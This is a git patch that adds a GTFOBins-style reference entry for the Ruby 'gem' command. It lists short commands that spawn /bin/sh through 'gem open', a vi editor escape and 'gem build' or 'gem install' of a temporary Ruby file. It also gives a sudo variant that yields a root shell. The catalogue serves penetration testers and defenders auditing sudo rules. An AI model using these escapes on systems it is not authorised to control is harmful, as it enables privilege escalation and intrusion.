From 0adf67ca2facc450c6430a0cf19e0bb59130c3ec Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sat, 14 Mar 2020 21:56:23 +1100
Subject: [PATCH] Create gem.md

---
 _gtfobins/gem.md | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 _gtfobins/gem.md

diff --git a/_gtfobins/gem.md b/_gtfobins/gem.md
new file mode 100644
index 0000000..5e539da
--- /dev/null
+++ b/_gtfobins/gem.md
@@ -0,0 +1,23 @@
+---
+functions:
+  shell:
+    - description: This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: gem open -e "/bin/sh -c /bin/sh" json
+    - description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: |
+        gem open json
+        :!/bin/sh
+    - description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
+      code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/x
+        sudo gem build $TF/x
+    - description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
+      code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/x
+        sudo gem install --file $TF/x
+  sudo:
+    - description: This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: sudo gem open -e "/bin/sh -c /bin/sh" json
+---